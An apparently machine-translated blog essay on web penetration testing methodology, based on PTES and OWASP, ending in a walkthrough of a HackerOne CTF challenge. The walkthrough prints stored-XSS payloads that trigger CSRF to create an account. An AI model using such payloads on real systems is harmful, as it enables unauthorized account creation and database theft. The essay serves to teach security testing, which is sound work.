Talking about Web Penetration Testing

This article includes three chapters: background introduction, conception of Web penetration testing method, and examples of Web penetration testing. The background introduction explains the two concepts of vulnerability mining and penetration testing. The theoretical part of the chapter, the Web penetration test example is to demonstrate the idea of the second chapter with actual cases.

background introduction

This chapter mainly introduces my understanding of the two concepts of penetration testing and vulnerability mining.

Due to work reasons, the author has access to penetration test reports of some domestic and foreign Party B security companies.

After reading many penetration test reports provided by different Party B companies, simply speaking, there are probably several types of

1. 只提供一份测试报告,  报告主体内容是 漏洞列表,  漏洞详情
2. 提供简单的 checklist,  一般是以附录的形式写在测试报告中
3. 提供来测试计划,  以及测试报告

For Party A who does not know much about penetration testing, the goal of penetration testing is to find vulnerabilities, and the above three types of reports do not seem to be much different.

In fact, this is not the case. For an organized penetration test, the content of the report can be very rich.

Vulnerability mining

Vulnerability mining is vulnerability-oriented, and a large number of CVEs each year are the result of vulnerability mining. For example, cracking CTF is also a process of vulnerability mining and utilization. There is no doubt that vulnerability mining capabilities can reflect the skill level of security personnel.

For example, suppose one day xxx SRC releases an announcement that low- and medium-risk vulnerabilities are no longer included, and only high-risk and above vulnerabilities are accepted. As a white hat, you can skip vulnerabilities like username brute force, but if you are doing penetration testing, you cannot ignore these vulnerabilities so easily.

The kind of test report that only provides a list of vulnerabilities and details can be guessed to use the vulnerability mining mode. This mode will be a little easier for Party B, after all, as long as there are vulnerabilities in the report, it can be handed over.

penetration testing

According to PTES, penetration testing consists of two phases, one is vulnerability analysis and the other is vulnerability exploitation

We usually translate Vulnerability as a vulnerability. In fact, I think it is more appropriate to translate this word as a vulnerability.

Penetration testing focuses more on the process and method, and the test results are only the product of the process. In general, the goal of penetration testing is to locate all the vulnerabilities (Vulnerability) of the system through a structured method, and try to use these vulnerabilities, and finally evaluate the possible risks of these vulnerabilities to the system.

If the vulnerability assessment finds a vulnerable point, it is over. However, if it is a penetration test, it is necessary to further exploit these vulnerabilities, even leave a back door, remove traces, etc. That is, the two processes of Exploitation and Post Exploitation mentioned in PTES .

Therefore, any vulnerability cannot be missed within the scope of the test, ranging from sensitive information plaintext transmission, user name brute force, path information leakage, to SQL injection, authentication bypass, unauthorized access, etc.

If the test report only reports vulnerabilities such as XSS that can pop up windows, it can only be regarded as the result of vulnerability assessment. If it does not use XSS for actual exploitation, it cannot be called a penetration test. What is utilization, such as using xss attacks to steal cookies, and then using cookies to log in to the system.

personal opinion

I personally think that the relationship between penetration testing and vulnerability mining is not a sufficient condition for each other. That is to say, a person who understands penetration testing engineering methods is not necessarily very good at digging loopholes. A person who is good at digging holes may not be able to do a good job of penetration testing.

But overall, the threshold for vulnerability mining is higher than that of penetration testing methods. An excellent CTFer should be able to quickly grasp the essence of penetration testing. On the contrary, a person who is proficient in penetration testing methodology may not be able to quickly grasp the vulnerability mining skills.

Quoting the PTES overview of penetration testing

Remember, a penetration test should not be confrontational. It should not be an activity to see if the tester can "hack" you. It should be about identifying the business risk associated with and attack.

By the way, I would like to tell you an interesting thing, a friend of the author has been digging vulnerabilities in wooyun before, and later wanted to set up a Party B penetration team to take on the penetration testing work. Later, it was said that Party A and Party A could not reach a consensus on the issue of remuneration and gave up.

In fact, I was thinking that Party B's team could negotiate with Party A in two ways.

Mode 1 Vulnerability mining mode is priced by vulnerability, how much is serious, high risk, medium risk, and low risk respectively

Mode 2 Penetration Test Mode Develop penetration test plan, output checklist, vulnerability report, threat modeling report, etc.

In my opinion, for the team of Party B, the more work, the more pay, the pressure will be less. Mode 2 takes more time and energy, and the tariff should be more expensive.

The result is also obvious, the industry is more inclined to mode 1, or establish SRC by itself, collect vulnerabilities, and pay corresponding remuneration according to the level of vulnerability hazard. Either cooperate with large white hat platforms and launch crowd testing on these platforms.

The real problem in mode 2 is how can Party A trust Party B's team, on the one hand, whether Party B's team has the ability to take on the task of penetration testing. On the other hand, how to ensure that Party B's team does not disclose Party A's data.

I personally think that Mode 2 is more valuable to Party B. Many small companies do not have enough funds and budgets to invest in manpower for security. A security team can be hired to do risk assessment/penetration testing etc. PTaaS (PenTest as a Service) is pretty good in theory. Similar to the CA certificate model, a neutral non-profit PT (Penetration) organization certifies the team of Party B. Party A trusts the PT organization, so it trusts Party B's team with the PT certificate issued by the organization.

Conceptualization of Web Penetration Testing Methodology

This chapter is based on reference [1] for PTES and reference [2] for OWASP testing guidelines, to build my implementation method for web penetration testing

Introduction to PTES

Some readers may not understand PTES, here I will give a very brief introduction

The full name of PTES is penetration testing execution standard, which is penetration testing execution standard. This standard defines the process and content of penetration testing, which is divided into seven parts

1. Pre-engagement Interactions 前期交互
2. Intelligence Gathering 信息收集
3. Threat Modeling 威胁建模
4. Vulnerability Analysis 漏洞分析
5. Exploitation 渗透利用
6. Post Exploitation 后渗透
7. Reporting 报告

These seven parts cover the complete process of penetration testing from start to finish. It can be said that this is a set of penetration testing methods that penetration testing practitioners have to look at. Interested readers are referred to reference [1]

"PTES" website

I adjusted PTES appropriately so that this standard can be combined with the OWASP testing guidelines and landed in the penetration testing process

1. Pre-engagement Interactions 前期交互
2. Intelligence Gathering 信息收集
3. Vulnerability Modeling 漏洞建模
4. Vulnerability Analysis 漏洞分析
5. Exploitation 渗透利用
6. Reporting 报告

Threat modeling can use STRIDE model, attack tree, and attack library modeling, which are too abstract for an "agile" penetration test. So I changed it to vulnerability modeling.

early interaction

At the heart of early interactions are scope and goals. Scope refers to the scope of test coverage, involving asset servers, domain names/ip, databases, etc.

In terms of goals, PTES also gave a very clear introduction

Every penetration test should be goal-oriented. This is to say that the purpose of the test is to identify specific vulnerabilities that lead to a compromise of the business or mission objectives of the customer. It is not about finding un-patched systems. It is about identifying risk that will adversely impact the organization.

For example, Party A's request is to ensure that the database will not be dragged, or that the web service of the xxx domain name will not be affected by denial of service attacks, etc. As the teacher often said, read the book with questions. Here is a test with a goal.

The output is to sort out the test plan document according to the test scope, test goal, test time/schedule, etc.

collect message

Information collection covers all aspects of penetration testing. The more information collected, the smoother the penetration testing will be. There are a lot of relevant content on the Internet, so I won't repeat them here.

Vulnerability Modeling

Treat each unique HTTP path as an interface

for example

GET /main/asdf

POST /subproc/fdsa

{xxx=xyz}

PUT /upload/tmpfile

file=fake content

Vulnerability modeling also takes Web path as one dimension and Web vulnerability type as another dimension to establish a two-dimensional matrix

Then there is a question, how do I know whether to type "*" before I start the test, such as "Buffer overflow", how do I know which interfaces should be marked with "/" and which interfaces should not be.

My suggestion is, if you are not sure whether to type "*", just type "*" by default. After you have a better understanding of the system, maybe with your experience, you can quickly locate where you need to type "*"

Finally, sort out all the items marked with "*" in the second-level modeling, and output the vulnerability Checklist

Output: Vulnerability Checklist

Vulnerability Analysis

Use all kinds of tricks and ideas to analyze whether the vulnerability Checklist output in the previous step really has vulnerabilities.

This process differs from vulnerability modeling in that test cases need to be determined. For example, "POST /subproc/dosth" may have SQL inj vulnerabilities. Testers need manual/automated tools to detect whether there are real vulnerabilities and sort out test cases.

for example

POST /subproc/dosth

{xxx=xyz}

penetration

After outputting the vulnerability list, the vulnerability analysis link is over. Generally, Party A will stop there and stop exploiting. This is also understandable, Party A only needs to have SQL injection.

If you want to continue to exploit, it may be SQL injection to obtain system shell execution, or use SQL injection to write files, obtain Webshell, or crawl databases to find sensitive privileged accounts, and then use privileged accounts to log in to the system and so on.

Isn't it enough to analyze the vulnerability, why use it?

It depends on the specific scenario. If Party A deploys a firewall, WAF, etc. in the product, Party A wants to know what harm can be caused even if there is a SQL injection vulnerability in this environment. Whether WAF can identify all attacks. Although there are loopholes is also safe. Or there may be multiple loopholes connected in series to cause great harm. These are things that vulnerability analysis will not do. So this is the essential reason why penetration testing is more expensive than vulnerability analysis.

testing report

It would be very irresponsible to output a penetration test report that only contains a list of vulnerabilities.

On the one hand, this may not be a penetration test at all, but at best a vulnerability analysis report

On the other hand, it is difficult for Party A to conclude that the product is safe or unsafe based on the report that only has a list of vulnerabilities.

A complete penetration test should output the following deliverables

Outputs: a test plan document, a vulnerability checklist, a test case matching the checklist and test scope, a test report including vulnerability details

Web Penetration Test Example

So many theoretical ideas have been discussed above. In this chapter, I want to use a case to show the vulnerability modeling, vulnerability analysis and vulnerability exploitation in the above process

Use HackerOne's CTF question 8/9 as the target to perform a penetration test on the target. See reference [3]

HackerOne is a very popular crowd-testing platform abroad, and if you want to make money by finding bugs on this crowd-testing platform, you have to go to the CTF practice field to answer questions and earn points. Only after accumulating 26 points can you get an invitation code.

This time, the 8/9 question Ticketastic: Demo Instance/Ticketastic: Live Instance is used as the test target to demonstrate how to use the above-mentioned Web PTES for penetration testing.

early interaction

Test scope: http://35.190.155.168/b9b2ddf96c/

Test target: user database

collect message

Interface: /newTicket, /login, /admin, /ticket, /newUser

Vulnerability Modeling

According to experience, problems are most likely to occur in authentication, session management, authorization, and input detection directions, so this time only tests for these directions

Vulnerability Analysis

Analyze and troubleshoot the Vulnerability Checklist one by one. During the troubleshooting process, sort out the test cases

After the above test cases are executed, output the list of vulnerabilities

penetration

After performing the vulnerability analysis process, after mastering multiple vulnerabilities, it is necessary to exploit these vulnerabilities, which may be the use of a single vulnerability or a combination of exploits

In order to achieve the test target "user database", build the following attack ideas

Log in to the system with administrator credentials, and use the SQL injection vulnerability to drag the database, the SQL injection point has been found, the key is how to obtain the administrator credentials

Idea 1: Crack the session

Idea 2: Steal cookies through xss

Idea 3: Add account via CSRF

Idea 4: Crack the password by brute force

After base64 decoding of the session, the first part of the session is {"user":"admin"}, but the latter part is garbled and has no idea.

Brute force cracking is also a bad idea. After all, if you can't get out with a top10000 dictionary, it's not the direction to solve the problem.

It is feasible to steal cookies through xss and add accounts through CSRF. Due to the limitation of hackerOne CTF environment, xss stealing cookies cannot succeed. Finally you can try CSRF

Vulnerability 1 newTicket stored XSS injection <img src='newUser?username=pter&password=admin123&password2=admin123'> so that when the admin visits the ticket page, CSRF will be triggered, and a new user pter will be added with the password admin123

i tried

# payload 1
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...

title=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">

# paylod 2
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...

title=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">

None of them were successful, so I didn't solve this problem, which resulted in that I couldn't get both FLAGs.

Checked some Writeup on the Internet and found that the following payload is feasible

POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...

title=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">

In fact, this localhost also has clues, that is, in the demo environment, using payload1, after admin logs in, it will be displayed in the source code. CTF experience is still not enough.

Report

Did you sigh at this step? After finishing it completely, the workload is still very much. From vulnerability modeling to vulnerability analysis and vulnerability exploitation, these processes take a lot of time. For Party A, the middleware output from these processes are very valuable information.

deliverables are

  1. 测试计划文档
  2. 漏洞建模表,  及漏洞 Checklist
  3. 测试用例,  漏洞列表
  4. 测试报告 也可以把 上述表格/用例整合到测试报告中。但是测试计划建议单独一份文档

Each of the above processes is strongly related to the operator. Different people will output different vulnerability checklists, write different use cases, and get different vulnerability lists during the vulnerability modeling process. So this set of penetration testing implementation methods only describes how penetration testing can be done, but does not describe how to do it well.

If you want to do a good job in penetration testing, the ability to discover vulnerabilities is essential, and this is also the key point of the interview. To practice vulnerability mining ability, you can use the following methods: participate in public testing, dig SRC, dig CVE, CNVD/CNNVD, target drone exercises, etc.

These are some of my personal thoughts on web penetration testing execution. It's almost over here. In fact, I use this environment just to demonstrate the penetration testing process, not a CTF tutorial. So GAME OVER.

Due to the limited level of the author, there will inevitably be mistakes in the article. Readers are welcome to criticize and correct.